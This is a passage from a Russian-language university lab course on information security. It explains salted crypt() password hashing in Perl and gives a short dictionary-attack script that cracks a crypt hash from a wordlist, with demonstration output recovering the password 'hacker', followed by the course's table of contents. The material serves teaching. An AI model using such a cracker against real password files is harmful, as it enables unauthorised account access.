Атаки на пароли
Обычно пароли не хранятся в открытом виде. Файл, содержащий в открытом виде все пароли, был бы слишком заманчивой целью, поэтому здесь применяется однонаправленная хэш-функция. Самая известная из этих функций основана на DES и называется crypt(). Другими популярными алгоритмами хэширования паролей являются MD5 и Blowfish. Однонаправленная хэш-функция принимает на входе открытый пароль и значение salt (привязки), а выводит значение хэша. которому предшествует введённое значение salt. Хэш-значение математически необратимо, т.е. одного его недостаточно, чтобы определить исходный пароль. В Perl есть устроенная функция crypt(), благодаря чему его удобно применять в илюстративных целях.
#!/usr/bin/perl
$plaintext = "test";
$salt = "je";
$hash = crypt($plaintext, $salt);
print "crypt($plaintext, $salt) = $hash\n";
В следующем листинге с помощью того сценария Perl вычисляются хэш-значения на основе функции crypt() с различными значениями salt.
$ ./hash.pl
crypt(test, je) = jeHEAX1m66RV.
$ perl -e '$hash = crypt("test", "je"); print "$hash\n";'
jeHEAX1m66RV.
$ perl -e '$hash = crypt("test", "xy"); print "$hash\n";'
xyVSuHLjceD92
$
Значение salt предназначено для дополнительного "возмущения" алгоритма, благодаря чему при различных значениях salt получаются разные хэш-значения. Хэш-значения (включая предшествующий salt) записывабются в файл паролей в расчёте, что если атакующий украдёт файл паролей, значения хэшей ничего ему не дадут. При необходимости аутентифицировать парользователя в файле паролей осуществляется поиск хэша. Пользователю предлагается ввести пароль, из файла паролей извлекается значение salt, и введённые пользователем данные вместе со значением salt посылаются на вход той же хэш-функции. Если пользователь ввёл правильный пароль, однонаправленная хэш-функция даст на выходе то же значение, которое записано в файле паролей. Благодаря этому происходит правильная аутентификация, и в то же время не надо хранить пароли в открытом виде.
Однако, зашифрованные пароли не столь уж бесполезны. Несомненно, что математически невозможно получить из хэша исходное значение, но можно весьма быстро сгенерировать хэш-значение ждя каэжлшл имеющегося в словаре слова, взяв значение salt для конкретного хэша, и сравнить с эти хэшем полученные результаты. Если совпадают хэш-значения, то соответствующее словарное слово и будет открытым паролем. Простую программу атаки по словарю можно относительно просто написать на Perl.
Исходный код находится в
http://share.auditory.ru/2006/Andrey.Grunau/ZI/laba2.tar.gz в файле crack.pl Программа читает слова со стандартного ввода и пытется создать для них хэш-значение с наджежащим salt. При обнаружении совпадения слово выводится на экран и сценарий завершает работу.
#!/usr/bin/perl -w
use strict;
# Get the hash to crack from the first command-line argument
my $hash = shift;
my $salt = substr($hash,0,2); # The salt is the first 2 chars
print "Cracking the hash '$hash' using words from standard input..\n";
while(defined(my $in = <STDIN>)) # Read from standard input
{
chomp $in; # Remove the hard return
if(crypt($in, $salt) eq $hash) # If the hashes match...
{
print "Password is: $in\n"; # Print the password
exit; # and exit.
}
}
print "The password wasn't found in the words from standard input.\n";
$ mkdir tmp
$ cd tmp
$ wget http://share.auditory.ru/2006/Andrey.Grunau/ZI/laba2.tar.gz
$ tar -xzf laba2.tar.gz
$ cat words | ./crack.pl `perl -e '$hash = crypt("hacker", "ja"); print "$hash\n";'`
Cracking the hash 'jaajgvwht60t2' using words from standard input..
Password is: hacker
$
- Активный сниффинг
- Методы шифрования
- Описание атаки Man In The Middle
- Атаки на пароли
- Дополнительные материалы
- Сегментация памяти программы
- Переполнение буфера
- Переполнение в стеке
- Практическая работа.
- Доп. Задания и отчётность
- Дополнительные материалы
- 1.3 Признаки заражения
- 1.4. Антивирусные программы (служебные программы)
- Краткие теоретические сведения. Система разграничения доступа в Windows. Теоретические сведения
- Учетные записи пользователей
- Группы пользователей
- Управление учетными записями, группами и их правами
- Порядок выполнения работы.
- 8. Рекомендуемая литература
- 8.1. Основная
- 8.2. Дополнительная
- 9. Технические и программные средства
- Компьютеры.
- Презентации.
- Компьютерный вариант умк. Приложение 1.
- Брянский институт управления и бизнеса
- Приложение 2.
- Раздел 1. Концепция информационной безопасности.
- Раздел 2. Угрозы информации.
- Раздел 3. Виды возможных нарушений информационной системы.
- Кодификатор Генерального Секретариата .
- Раздел 4. Информационная безопасность информационных систем.
- 4. Перестановки;
- Раздел 5. Методы и средства защиты компьютерной информации.